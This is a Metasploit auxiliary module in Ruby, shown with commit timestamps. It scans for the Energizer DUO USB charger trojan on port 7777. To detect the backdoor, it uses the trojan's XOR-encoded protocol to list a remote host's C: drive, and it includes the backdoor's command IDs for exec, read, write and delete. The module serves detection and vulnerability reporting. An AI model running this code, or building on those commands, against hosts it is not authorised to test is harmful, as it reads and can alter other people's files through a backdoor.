2010-03-08 19:06:50 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-03-08 19:06:50 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2010-03-08 19:06:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Energizer DUO Trojan Scanner',
|
|
|
|
'Description' => 'Detect instances of the Energizer DUO trojan horse software on port 7777',
|
|
|
|
'Author' => 'hdm',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2010-0103'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '62782'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['US-CERT-VU', '154421']
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(7777),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def trojan_encode(str)
|
|
|
|
str.unpack("C*").map{|c| c ^ 0xE5}.pack("C*")
|
|
|
|
end
|
|
|
|
|
|
|
|
def trojan_command(cmd)
|
|
|
|
cid = ""
|
|
|
|
|
|
|
|
case cmd
|
|
|
|
when :exec
|
|
|
|
cid = "{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}"
|
|
|
|
when :dir
|
|
|
|
cid = "{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}"
|
|
|
|
when :write
|
|
|
|
cid = "{98D958FC-D0A2-4f1c-B841-232AB357E7C8}"
|
|
|
|
when :read
|
|
|
|
cid = "{F6C43E1A-1551-4000-A483-C361969AEC41}"
|
|
|
|
when :nop
|
|
|
|
cid = "{783EACBF-EF8B-498e-A059-F0B5BD12641E}"
|
|
|
|
when :find
|
|
|
|
cid = "{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}"
|
|
|
|
when :yes
|
|
|
|
cid = "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"
|
|
|
|
when :runonce
|
|
|
|
cid = "{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}"
|
|
|
|
when :delete
|
|
|
|
cid = "{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}"
|
|
|
|
end
|
|
|
|
|
|
|
|
trojan_encode(
|
|
|
|
[0x27].pack("V") + cid + "\x00"
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
begin
|
|
|
|
|
|
|
|
connect
|
|
|
|
sock.put(trojan_command(:dir))
|
|
|
|
sock.put(
|
|
|
|
trojan_encode(
|
|
|
|
[4].pack("V") + "C:\\\x00\x00"
|
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
lbuff = sock.get_once(4, 5)
|
|
|
|
if(not lbuff)
|
|
|
|
print_error("#{ip}:#{rport} UNKNOWN: No response to the directory listing request")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
len = trojan_encode(lbuff).unpack("V")[0]
|
|
|
|
dbuff = sock.get_once(len, 30)
|
|
|
|
data = trojan_encode(dbuff)
|
|
|
|
files = data.split("|").map do |x|
|
|
|
|
if x[0,2] == "?1"
|
|
|
|
["D", x[2,x.length-2]]
|
|
|
|
else
|
|
|
|
["F", x]
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Required to prevent the server from spinning a loop
|
|
|
|
sock.put(trojan_command(:nop))
|
|
|
|
|
|
|
|
print_status("#{ip}:#{rport} FOUND: #{files.inspect}")
|
2015-04-03 11:12:23 +00:00
|
|
|
# Add Vulnerability and Report
|
2013-10-25 21:51:44 +00:00
|
|
|
report_vuln({
|
|
|
|
:host => ip,
|
|
|
|
:name => "Energizer DUO USB Battery Charger Software Arucer.dll Trojaned Distribution",
|
|
|
|
:refs => self.references
|
|
|
|
})
|
2013-08-30 21:28:54 +00:00
|
|
|
report_note(
|
|
|
|
:host => ip,
|
|
|
|
:proto => 'tcp',
|
|
|
|
:port => datastore['RPORT'],
|
2013-10-25 21:51:44 +00:00
|
|
|
:sname => "energizer_duo",
|
2013-08-30 21:28:54 +00:00
|
|
|
:type => 'Energizer DUO Trojan',
|
|
|
|
:data => files.inspect
|
|
|
|
)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Rex::ConnectionError, ::IOError
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2010-03-08 19:06:50 +00:00
|
|
|
end
|